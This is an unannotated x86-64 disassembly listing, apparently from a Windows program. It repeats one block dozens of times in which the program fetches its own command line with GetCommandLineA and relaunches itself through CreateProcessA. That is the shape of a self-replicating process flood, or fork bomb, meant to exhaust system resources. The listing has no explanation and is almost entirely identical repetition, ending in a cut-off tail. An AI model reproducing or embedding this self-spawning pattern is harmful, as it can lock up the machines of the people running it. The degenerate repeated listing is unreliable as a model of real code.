mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x40010004
mov edx, dword [rsp + 0x7c]
